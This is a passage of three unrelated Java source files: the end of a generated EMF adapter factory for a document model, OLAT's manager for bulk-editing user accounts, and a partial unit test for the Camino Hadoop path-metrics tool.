* @return whether this factory is applicable for the type of the object.
* @generated
*/
@Override
public boolean isFactoryForType(Object object) {
if (object == modelPackage) {
return true;
}
if (object instanceof EObject) {
return ((EObject)object).eClass().getEPackage() == modelPackage;
}
return false;
}
/**
* The switch that delegates to the <code>createXXX</code> methods.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected PSMLibreSwitch<Adapter> modelSwitch =
new PSMLibreSwitch<Adapter>() {
@Override
public Adapter caseDocument(Document object) {
return createDocumentAdapter();
}
@Override
public Adapter casePage(Page object) {
return createPageAdapter();
}
@Override
public Adapter caseElement(Element object) {
return createElementAdapter();
}
@Override
public Adapter caseParagraphImpl(ParagraphImpl object) {
return createParagraphImplAdapter();
}
@Override
public Adapter caseParagraph(Paragraph object) {
return createParagraphAdapter();
}
@Override
public Adapter caseText(Text object) {
return createTextAdapter();
}
@Override
public Adapter caseTable(Table object) {
return createTableAdapter();
}
@Override
public Adapter caseRow(Row object) {
return createRowAdapter();
}
@Override
public Adapter caseCell(Cell object) {
return createCellAdapter();
}
@Override
public Adapter caseImage(Image object) {
return createImageAdapter();
}
@Override
public Adapter caseTextContainer(TextContainer object) {
return createTextContainerAdapter();
}
@Override
public Adapter defaultCase(EObject object) {
return createEObjectAdapter();
}
};
/**
* Creates an adapter for the <code>target</code>.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @param target the object to adapt.
* @return the adapter for the <code>target</code>.
* @generated
*/
@Override
public Adapter createAdapter(Notifier target) {
return modelSwitch.doSwitch((EObject)target);
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Document <em>Document</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Document
* @generated
*/
public Adapter createDocumentAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Page <em>Page</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Page
* @generated
*/
public Adapter createPageAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Element <em>Element</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Element
* @generated
*/
public Adapter createElementAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.ParagraphImpl <em>Paragraph Impl</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.ParagraphImpl
* @generated
*/
public Adapter createParagraphImplAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Paragraph <em>Paragraph</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Paragraph
* @generated
*/
public Adapter createParagraphAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Text <em>Text</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Text
* @generated
*/
public Adapter createTextAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Table <em>Table</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Table
* @generated
*/
public Adapter createTableAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Row <em>Row</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Row
* @generated
*/
public Adapter createRowAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Cell <em>Cell</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Cell
* @generated
*/
public Adapter createCellAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.Image <em>Image</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.Image
* @generated
*/
public Adapter createImageAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link benchmarkdp.datagenerator.model.PSMLibre.TextContainer <em>Text Container</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see benchmarkdp.datagenerator.model.PSMLibre.TextContainer
* @generated
*/
public Adapter createTextContainerAdapter() {
return null;
}
/**
* Creates a new adapter for the default case.
* <!-- begin-user-doc -->
* This default implementation returns null.
* <!-- end-user-doc -->
* @return the new adapter.
* @generated
*/
public Adapter createEObjectAdapter() {
return null;
}
} //PSMLibreAdapterFactory
| |
/**
* OLAT - Online Learning and Training<br>
* http://www.olat.org
* <p>
* Licensed under the Apache License, Version 2.0 (the "License"); <br>
* you may not use this file except in compliance with the License.<br>
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing,<br>
* software distributed under the License is distributed on an "AS IS" BASIS, <br>
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. <br>
* See the License for the specific language governing permissions and <br>
* limitations under the License.
* <p>
* Copyright (c) since 2004 at frentix GmbH, http://www.frentix.com
* <p>
*/
package org.olat.lms.user.administration.bulkchange;
import java.io.IOException;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Properties;
import org.apache.log4j.Logger;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.exception.MethodInvocationException;
import org.apache.velocity.exception.ParseErrorException;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.runtime.RuntimeConstants;
import org.olat.data.basesecurity.BaseSecurity;
import org.olat.data.basesecurity.Constants;
import org.olat.data.basesecurity.Identity;
import org.olat.data.basesecurity.SecurityGroup;
import org.olat.data.commons.database.DB;
import org.olat.data.commons.database.DBFactory;
import org.olat.data.user.Preferences;
import org.olat.data.user.User;
import org.olat.lms.commons.i18n.I18nManager;
import org.olat.lms.security.authentication.OLATAuthManager;
import org.olat.lms.user.UserService;
import org.olat.lms.user.propertyhandler.UserPropertyHandler;
import org.olat.presentation.framework.core.components.form.ValidationError;
import org.olat.presentation.framework.core.translator.PackageUtil;
import org.olat.presentation.framework.core.translator.Translator;
import org.olat.presentation.user.administration.bulkchange.UserBulkChangeStep00;
import org.olat.system.commons.StringHelper;
import org.olat.system.commons.manager.BasicManager;
import org.olat.system.logging.log4j.LoggerHelper;
import org.olat.system.spring.CoreSpringFactory;
/**
* Description:<br>
* this is a helper class which can be used in bulkChange-Steps and also the UsermanagerUserSearchController
* <P>
* Initial Date: 07.03.2008 <br>
*
* @author rhaag
*/
public class UserBulkChangeManager extends BasicManager {
private static VelocityEngine velocityEngine;
private static final Logger log = LoggerHelper.getLogger();
private static UserBulkChangeManager INSTANCE = new UserBulkChangeManager();
public static final String PWD_IDENTIFYER = "password";
public static final String LANG_IDENTIFYER = "language";
public UserBulkChangeManager() {
// init velocity engine
Properties p = null;
try {
velocityEngine = new VelocityEngine();
p = new Properties();
p.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM_CLASS, "org.apache.velocity.runtime.log.SimpleLog4JLogSystem");
p.setProperty("runtime.log.logsystem.log4j.category", "syslog");
velocityEngine.init(p);
} catch (final Exception e) {
throw new RuntimeException("config error " + p.toString());
}
}
public static UserBulkChangeManager getInstance() {
return INSTANCE;
}
public void changeSelectedIdentities(final List<Identity> selIdentities, final HashMap<String, String> attributeChangeMap,
final HashMap<String, String> roleChangeMap, final ArrayList<String> notUpdatedIdentities, final boolean isAdministrativeUser, final Translator trans) {
final Translator transWithFallback = getUserService().getUserPropertiesConfig().getTranslator(trans);
final String usageIdentifyer = UserBulkChangeStep00.class.getCanonicalName();
notUpdatedIdentities.clear();
final List<Identity> changedIdentities = new ArrayList<Identity>();
final List<UserPropertyHandler> userPropertyHandlers = getUserService().getUserPropertyHandlersFor(usageIdentifyer, isAdministrativeUser);
final String[] securityGroups = { Constants.GROUP_USERMANAGERS, Constants.GROUP_GROUPMANAGERS, Constants.GROUP_AUTHORS, Constants.GROUP_ADMIN };
final BaseSecurity secMgr = (BaseSecurity) CoreSpringFactory.getBean(BaseSecurity.class);
// loop over users to be edited:
for (Identity identity : selIdentities) {
final DB db = DBFactory.getInstance();
// reload identity from cache, to prevent stale object
identity = (Identity) db.loadObject(identity);
final User user = identity.getUser();
String errorDesc = "";
boolean updateError = false;
// change pwd
if (attributeChangeMap.containsKey(PWD_IDENTIFYER)) {
String newPwd = attributeChangeMap.get(PWD_IDENTIFYER);
if (StringHelper.containsNonWhitespace(newPwd)) {
if (!getUserService().verifyPasswordStrength("", newPwd, "")) {
errorDesc = transWithFallback.translate("error.password");
updateError = true;
}
} else {
newPwd = null;
}
OLATAuthManager.changePasswordAsAdmin(identity, newPwd);
}
// set language
final String userLanguage = user.getPreferences().getLanguage();
if (attributeChangeMap.containsKey(LANG_IDENTIFYER)) {
final String inputLanguage = attributeChangeMap.get(LANG_IDENTIFYER);
if (!userLanguage.equals(inputLanguage)) {
final Preferences preferences = user.getPreferences();
preferences.setLanguage(I18nManager.getInstance().getLocaleOrDefault(inputLanguage));
user.setPreferences(preferences);
}
}
final Context vcContext = new VelocityContext();
// set all properties as context
setUserContext(identity, vcContext, isAdministrativeUser);
// loop for each property configured in UserBulkChangeStep00
for (int k = 0; k < userPropertyHandlers.size(); k++) {
final UserPropertyHandler propHandler = userPropertyHandlers.get(k);
final String propertyName = propHandler.getName();
final String userValue = getUserService().getUserProperty(identity.getUser(), propertyName);
String inputFieldValue = "";
if (attributeChangeMap.containsKey(propertyName)) {
inputFieldValue = attributeChangeMap.get(propertyName);
inputFieldValue = inputFieldValue.replace("$", "$!");
final String evaluatedInputFieldValue = evaluateValueWithUserContext(inputFieldValue, vcContext);
// validate evaluated property-value
final ValidationError validationError = new ValidationError();
// do validation checks with users current locale!
final Locale locale = transWithFallback.getLocale();
if (!propHandler.isValidValue(evaluatedInputFieldValue, validationError, locale)) {
errorDesc = transWithFallback.translate(validationError.getErrorKey()) + " (" + evaluatedInputFieldValue + ")";
updateError = true;
break;
}
if (!evaluatedInputFieldValue.equals(userValue)) {
final String stringValue = propHandler.getStringValue(evaluatedInputFieldValue, locale);
propHandler.setUserProperty(user, stringValue);
}
}
} // for (propertyHandlers)
// set roles for identity
// loop over securityGroups defined above
for (final String securityGroup : securityGroups) {
final SecurityGroup secGroup = secMgr.findSecurityGroupByName(securityGroup);
final Boolean isInGroup = secMgr.isIdentityInSecurityGroup(identity, secGroup);
String thisRoleAction = "";
if (roleChangeMap.containsKey(securityGroup)) {
thisRoleAction = roleChangeMap.get(securityGroup);
// user not anymore in security group, remove him
if (isInGroup && thisRoleAction.equals("remove")) {
secMgr.removeIdentityFromSecurityGroup(identity, secGroup);
}
// user not yet in security group, add him
if (!isInGroup && thisRoleAction.equals("add")) {
secMgr.addIdentityToSecurityGroup(identity, secGroup);
}
}
}
// set status
if (roleChangeMap.containsKey("Status")) {
final Integer status = Integer.parseInt(roleChangeMap.get("Status"));
secMgr.saveIdentityStatus(identity, status);
identity = (Identity) db.loadObject(identity);
}
// persist changes:
if (updateError) {
final String errorOutput = identity.getName() + ": " + errorDesc;
log.debug("error during bulkChange of users, following user could not be updated: " + errorOutput);
notUpdatedIdentities.add(errorOutput);
} else {
getUserService().updateUserFromIdentity(identity);
changedIdentities.add(identity);
log.info("Audit:user successfully changed during bulk-change: " + identity.getName());
}
// commit changes for this user
db.intermediateCommit();
}
}
public String evaluateValueWithUserContext(final String valToEval, final Context vcContext) {
final StringWriter evaluatedUserValue = new StringWriter();
// evaluate inputFieldValue to get a concatenated string
try {
velocityEngine.evaluate(vcContext, evaluatedUserValue, "vcUservalue", valToEval);
} catch (final ParseErrorException e) {
log.error("parsing of values in BulkChange Field not possible!");
e.printStackTrace();
return "ERROR";
} catch (final MethodInvocationException e) {
log.error("evaluating of values in BulkChange Field not possible!");
e.printStackTrace();
return "ERROR";
} catch (final ResourceNotFoundException e) {
log.error("evaluating of values in BulkChange Field not possible!");
e.printStackTrace();
return "ERROR";
} catch (final IOException e) {
log.error("evaluating of values in BulkChange Field not possible!");
e.printStackTrace();
return "ERROR";
}
return evaluatedUserValue.toString();
}
/**
* @param identity
* @param vcContext
* @param isAdministrativeUser
*/
public void setUserContext(final Identity identity, final Context vcContext, final boolean isAdministrativeUser) {
List<UserPropertyHandler> userPropertyHandlers2;
userPropertyHandlers2 = getUserService().getAllUserPropertyHandlers();
for (final UserPropertyHandler userPropertyHandler : userPropertyHandlers2) {
final String propertyName = userPropertyHandler.getName();
final String userValue = getUserService().getUserProperty(identity.getUser(), propertyName);
vcContext.put(propertyName, userValue);
}
}
public Context getDemoContext(final Locale locale, final boolean isAdministrativeUser) {
final Translator propertyTrans = PackageUtil.createPackageTranslator(UserPropertyHandler.class, locale);
return getDemoContext(propertyTrans, isAdministrativeUser);
}
public Context getDemoContext(final Translator propertyTrans, final boolean isAdministrativeUser) {
final Context vcContext = new VelocityContext();
List<UserPropertyHandler> userPropertyHandlers2;
userPropertyHandlers2 = getUserService().getAllUserPropertyHandlers();
for (final UserPropertyHandler userPropertyHandler : userPropertyHandlers2) {
final String propertyName = userPropertyHandler.getName();
final String userValue = propertyTrans.translate("import.example." + userPropertyHandler.getName());
vcContext.put(propertyName, userValue);
}
return vcContext;
}
private UserService getUserService() {
return CoreSpringFactory.getBean(UserService.class);
}
}
| |
/*
* Copyright (C) 2014-2018, Amobee Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
*/
package com.turn.camino;
import com.google.common.collect.ImmutableMap;
import com.turn.camino.config.*;
import com.turn.camino.render.*;
import java.io.IOException;
import java.util.*;
import java.util.concurrent.*;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Lists;
import org.apache.hadoop.fs.FileStatus;
import org.apache.hadoop.fs.FileSystem;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import static com.google.common.collect.ImmutableList.*;
import static org.mockito.Mockito.*;
import static org.testng.Assert.*;
/**
* Unit test for Camino
*
* @author llo
*/
@Test
public class CaminoTest {
private final static double EPSILON = 1e-6;
private final static Map<String,String> NULL_TAGS = null;
private Camino camino;
private ExecutorService executorService;
/**
* Setup environment
*/
@BeforeClass
public void setUp() throws IOException {
// mock file system
FileSystem fileSystem = mock(FileSystem.class);
// mock environment
Env env = mock(Env.class);
when(env.getFileSystem()).thenReturn(fileSystem);
camino = new Camino(env, ConfigBuilder.create().buildLocal());
// create executor service
executorService = Executors.newSingleThreadExecutor();
when(env.getExecutorService()).thenReturn(executorService);
}
/**
* Tear down environment
* @throws IOException
*/
@AfterClass
public void tearDown() throws IOException {
executorService.shutdown();
}
/**
* Test creating camino with null environment
*/
@Test(expectedExceptions = NullPointerException.class)
public void testConstructorNullEnv() {
new Camino(null, mock(Config.class));
}
/**
* Test creating camino with null config
*/
@Test(expectedExceptions = NullPointerException.class)
public void testConstructorNullConfig() {
new Camino(mock(Env.class), null);
}
/**
* Test rendering a property
*
* Tests that name and value returned from renderer are setProperty into context
*
* @throws RenderException
*/
@Test
public void testRenderName() throws InvalidNameException, WrongTypeException,
RenderException {
Context context = mock(Context.class);
Renderer renderer = mock(Renderer.class);
when(renderer.render("foo<%=id%>", context)).thenReturn("foo123");
String name = camino.renderName("foo<%=id%>", renderer, context);
assertEquals(name, "foo123");
}
/**
* Test if name does not conform to identifier name standard
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
*/
@Test(expectedExceptions = InvalidNameException.class)
public void testRenderNameInvalidName() throws InvalidNameException, WrongTypeException,
RenderException {
Context context = mock(Context.class);
Renderer renderer = mock(Renderer.class);
when(renderer.render("foo", context)).thenReturn("123");
camino.renderName("foo", renderer, context);
}
/**
* Test if name renders to a non-string type
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
*/
@Test(expectedExceptions = WrongTypeException.class)
public void testRenderNameIncorrectType() throws InvalidNameException, WrongTypeException,
RenderException {
Context context = mock(Context.class);
Renderer renderer = mock(Renderer.class);
when(renderer.render("foo", context)).thenReturn(123);
camino.renderName("foo", renderer, context);
}
/**
* Test rendering a property
*
* Tests that name and value returned from renderer are setProperty into context
*
* @throws RenderException
*/
@Test
public void testRenderProperty() throws InvalidNameException, WrongTypeException,
RenderException {
Context context = mock(Context.class);
Renderer renderer = mock(Renderer.class);
when(renderer.render("path", context)).thenReturn("path");
when(renderer.render("<%=dir%>/<%=file%>", context)).thenReturn("/data/delta_1.log");
camino.renderProperty(new Property("path", "<%=dir%>/<%=file%>"), renderer, context);
verify(context).setProperty("path", "/data/delta_1.log");
}
/**
* Test materializing a path
*
* @throws IOException
*/
@Test
public void testMaterializePath() throws IOException {
long blockSize = 256L * 1024 * 1024;
long now = System.currentTimeMillis();
FileSystem fileSystem = mock(FileSystem.class);
// path that results in one single file
String pathValue1 = "/foo/bar";
org.apache.hadoop.fs.Path path1 = new org.apache.hadoop.fs.Path(pathValue1);
FileStatus[] fss1 = new FileStatus[] {
new FileStatus(15000, false, 3, blockSize, now - 10000, path1)};
when(fileSystem.globStatus(path1)).thenReturn(fss1);
List<PathDetail> pathDetails1 = camino.materializePath(pathValue1, fileSystem);
assertNotNull(pathDetails1);
assertEquals(pathDetails1.size(), 1);
assertEquals(pathDetails1.get(0).getLastModifiedTime(), fss1[0].getModificationTime());
assertEquals(pathDetails1.get(0).getLength(), fss1[0].getLen());
assertEquals(pathDetails1.get(0).isDirectory(), fss1[0].isDirectory());
assertEquals(pathDetails1.get(0).getPathValue(), pathValue1);
// path that results in no file
String pathValue2 = "/foo/baz";
org.apache.hadoop.fs.Path path2 = new org.apache.hadoop.fs.Path(pathValue2);
when(fileSystem.globStatus(path2)).thenReturn(new FileStatus[] {});
List<PathDetail> pathDetails2 = camino.materializePath(pathValue2, fileSystem);
assertNotNull(pathDetails2);
assertEquals(pathDetails2.size(), 0);
// path whose parent doesn't exist (so globStatus returns null)
String pathValue3 = "/goo/bao";
org.apache.hadoop.fs.Path path3 = new org.apache.hadoop.fs.Path(pathValue3);
when(fileSystem.globStatus(path3)).thenReturn(null);
List<PathDetail> pathDetails3 = camino.materializePath(pathValue3, fileSystem);
assertNotNull(pathDetails3);
assertEquals(pathDetails3.size(), 0);
// path that returns multiple files
String pathValue4 = "/foo/bub_*";
org.apache.hadoop.fs.Path path4 = new org.apache.hadoop.fs.Path(pathValue4);
FileStatus[] fss4 = new FileStatus[] {
new FileStatus(15000, false, 3, blockSize, now - 10000,
new org.apache.hadoop.fs.Path("/foo/bub_1")),
new FileStatus(24000, false, 3, blockSize, now - 15000,
new org.apache.hadoop.fs.Path("/foo/bub_2")) };
when(fileSystem.globStatus(path4)).thenReturn(fss4);
List<PathDetail> pathDetails4 = camino.materializePath(pathValue4, fileSystem);
assertNotNull(pathDetails4);
assertEquals(pathDetails4.size(), 2);
assertEquals(pathDetails4.get(0).getLastModifiedTime(), fss4[0].getModificationTime());
assertEquals(pathDetails4.get(0).getLength(), fss4[0].getLen());
assertEquals(pathDetails4.get(0).isDirectory(), fss4[0].isDirectory());
assertEquals(pathDetails4.get(0).getPathValue(), "/foo/bub_1");
assertEquals(pathDetails4.get(1).getLastModifiedTime(), fss4[1].getModificationTime());
assertEquals(pathDetails4.get(1).getLength(), fss4[1].getLen());
assertEquals(pathDetails4.get(1).isDirectory(), fss4[1].isDirectory());
assertEquals(pathDetails4.get(1).getPathValue(), "/foo/bub_2");
}
/**
* Test render and materialize path
*
* Note that the materialize path is another test, so we only care about rendering the
* name nad value interaction.
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testRenderAndMaterializePath() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("a"), any(Context.class))).thenReturn("a");
when(renderer.render(eq("b"), any(Context.class))).thenReturn("b");
when(renderer.render(eq("<%=t%>"), any(Context.class)))
.thenReturn(new TimeValue(TimeZone.getDefault(), System.currentTimeMillis()));
Context context = mock(Context.class);
FileSystem fileSystem = mock(FileSystem.class);
PathStatus pathStatus = camino.renderAndMaterializePath(new Path("a", "b", null,
NULL_TAGS, "<%=t%>"), renderer, context, fileSystem);
assertNotNull(pathStatus);
assertEquals(pathStatus.getName(), "a");
assertEquals(pathStatus.getValue(), "b");
assertEquals(pathStatus.getPathDetails().size(), 0);
}
/**
* Test expected time value not resolving to TimeValue object
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test(expectedExceptions = WrongTypeException.class)
public void testRenderAndMaterializePathInvalidExpectedCreationTime()
throws InvalidNameException, WrongTypeException, RenderException, IOException {
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("a"), any(Context.class))).thenReturn("a");
when(renderer.render(eq("b"), any(Context.class))).thenReturn("b");
when(renderer.render(eq("<%=t%>"), any(Context.class))).thenReturn("abc");
Context context = mock(Context.class);
FileSystem fileSystem = mock(FileSystem.class);
camino.renderAndMaterializePath(new Path("a", "b", null,
NULL_TAGS, "<%=t%>"), renderer, context, fileSystem);
}
/**
* Test compute a metric
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
*/
@Test
public void testComputeMetric() throws InvalidNameException, WrongTypeException,
RenderException {
double metricValue = 456.78;
// set up metric and associated path status
Metric metric = new Metric("m1", "age", "sum", "testAgg", 0);
long lastModifiedDate = System.currentTimeMillis();
PathStatus pathStatus = new PathStatus("myPath", "/path/here/", mock(Path.class), of(
new PathDetail("/foo/bar", false, 1000, lastModifiedDate)), null);
// mock renderer to test metric-level property
Renderer renderer = mock(Renderer.class);
// set up context and environment
Env env = mock(Env.class);
Context context = mockGlobalContext(env);
Function aggFunction = mockMetricFunction(context, "testAgg", metricValue);
// compute metric
MetricDatum metricDatum = camino.computeMetric(metric, pathStatus, renderer, context);
// verify that aggregate function was called
verify(aggFunction).invoke(any(List.class), any(Context.class));
// verify that correct value was passed back
assertEquals(metricDatum.getMetricId().getFullName(), "myPath.m1");
assertEquals(metricDatum.getValue(), metricValue, EPSILON);
}
/**
* Test getMetricId()
*/
@Test
public void testGetMetricId() throws WrongTypeException, RenderException, InvalidNameException {
PathStatus pathStatus = new PathStatus("myPath", "/a/b", new Path("myPath", "/a/b", null,
ImmutableMap.of("pk", "<%=pkv%>"), null),
Lists.<PathDetail>newArrayList(), null);
Renderer renderer = mock(Renderer.class);
Context context = mock(Context.class);
when(renderer.render(eq("pk"), any(Context.class))).thenReturn("pk");
when(renderer.render(eq("<%=pkv%>"), any(Context.class))).thenReturn("1234");
// test named metric
Metric metric = new Metric("m1", "foo", "avg", null, 0);
MetricId metricId = camino.getMetricId(metric, pathStatus, renderer, context);
assertNotNull(metricId);
assertEquals(metricId.getName(), "m1");
assertEquals(metricId.getFullName(), "myPath.m1");
assertEquals(metricId.getTags().size(), 1);
assertEquals(metricId.getTags().get(0).getKey(), "pk");
assertEquals(metricId.getTags().get(0).getValue(), "1234");
// test unnamed metric
metric = new Metric(null, "age", "max", null, 0);
metricId = camino.getMetricId(metric, pathStatus, renderer, context);
assertNotNull(metricId);
assertEquals(metricId.getName(), "age");
assertEquals(metricId.getFullName(), "myPath.age");
}
/**
* Test processPathMetrics
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testProcessPathMetrics() throws InvalidNameException, WrongTypeException,
RenderException, IOException, ExecutionException, InterruptedException {
// create test environment
long now = System.currentTimeMillis();
double metricValue = 123456;
Env env = mock(Env.class);
Context context = mockGlobalContext(env);
// mock renderer
Renderer renderer = mock(Renderer.class);
mockMetricFunction(context, "age", metricValue);
mockMetricFunction(context, "size", metricValue);
mockMetricFunction(context, "count", metricValue);
when(renderer.render(eq("big_data"), any(Context.class))).thenReturn("big_data");
when(renderer.render(eq("/app/big_data"), any(Context.class))).thenReturn("/app/big_data");
List<Path> paths = of(new Path("big_data", "/app/big_data"));
// mock file system
FileSystem fileSystem = mockFileSystem(env);
org.apache.hadoop.fs.Path hadoopPath = new org.apache.hadoop.fs.Path("/app/big_data");
when(fileSystem.globStatus(hadoopPath)).thenReturn(new FileStatus[] {
new FileStatus(15000, false, 3, 256*1024*1024, now - 10000, hadoopPath) });
// process path metrics
List<Future<PathMetrics>> futures = Lists.newLinkedList();
camino.processPathMetrics(paths, renderer, context, executorService, futures);
// check that path status was resolved correctly
PathMetrics pathMetrics = futures.get(0).get();
PathStatus pathStatus = pathMetrics.getPathStatus();
assertEquals(pathStatus.getName(), "big_data");
assertEquals(pathStatus.getValue(), "/app/big_data");
assertEquals(pathStatus.getPathDetails().size(), 1);
assertEquals(pathStatus.getPathDetails().get(0).getPathValue(),
"/app/big_data");
assertFalse(pathStatus.getPathDetails().get(0).isDirectory());
assertEquals(pathStatus.getPathDetails().get(0).getLength(), 15000);
assertEquals(pathStatus.getPathDetails().get(0).getLastModifiedTime(),
now - 10000);
// check that metric data is expected
List<MetricDatum> metricData = pathMetrics.getMetricData();
assertEquals(metricData.size(), 3);
assertEquals(metricData.get(0).getMetricId().getFullName(), "big_data.age");
assertEquals(metricData.get(0).getValue(), metricValue, EPSILON);
assertEquals(metricData.get(1).getMetricId().getFullName(), "big_data.size");
assertEquals(metricData.get(1).getValue(), metricValue, EPSILON);
assertEquals(metricData.get(2).getMetricId().getFullName(), "big_data.count");
assertEquals(metricData.get(2).getValue(), metricValue, EPSILON);
}
/**
* Test processPathMetrics interaction with executor service and list of futures
*
* @throws IOException
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
*/
@Test
public void testProcessPathMetricsInteraction() throws IOException, InvalidNameException,
WrongTypeException, RenderException {
List<Path> paths = of(new Path("big_data", "/app/big_data"),
new Path("small_data", "/app/small_data"));
ExecutorService executorService = mock(ExecutorService.class);
Future future1 = mock(PathMetricsFuture.class);
Future future2 = mock(PathMetricsFuture.class);
when(executorService.submit(any(Callable.class))).thenReturn(future1, future2);
List<Future<PathMetrics>> futures = mock(PathMetricsFutureList.class);
camino.processPathMetrics(paths, mock(Renderer.class), mock(Context.class),
executorService, futures);
verify(executorService, times(2)).submit(any(Callable.class));
verify(futures, times(2)).add(any(Future.class));
}
/**
* Test that default metrics are added for a single path
*/
@Test
public void testGetDefaultMetricsForSinglePath() {
Path path = new Path("testPath", "/test/path");
PathStatus pathStatus = new PathStatus("foo", "/foo", path, ImmutableList.<PathDetail>of(), null);
List<Metric> metrics = Lists.newArrayList(camino.getDefaultMetrics(pathStatus));
assertEquals(metrics.size(), 3);
Collections.sort(metrics, new Comparator<Metric>() {
@Override
public int compare(Metric m1, Metric m2) {
return m1.getName().compareTo(m2.getName());
}
});
assertEquals(metrics.get(0).getName(), "age");
assertEquals(metrics.get(1).getName(), "count");
assertEquals(metrics.get(2).getName(), "size");
}
/**
* Test that default metrics are added for a path with wildcard
*/
@Test
public void testGetDefaultMetricsForWildcard() {
Path path = new Path("testPath", "/test/path");
PathStatus pathStatus = new PathStatus("foo", "/foo/*", path, ImmutableList.<PathDetail>of(), null);
List<Metric> metrics = Lists.newArrayList(camino.getDefaultMetrics(pathStatus));
assertEquals(metrics.size(), 10);
Collections.sort(metrics, new Comparator<Metric>() {
@Override
public int compare(Metric m1, Metric m2) {
return m1.getName().compareTo(m2.getName());
}
});
assertEquals(metrics.get(0).getName(), "age");
assertEquals(metrics.get(1).getName(), "avgAge");
assertEquals(metrics.get(2).getName(), "avgSize");
assertEquals(metrics.get(3).getName(), "count");
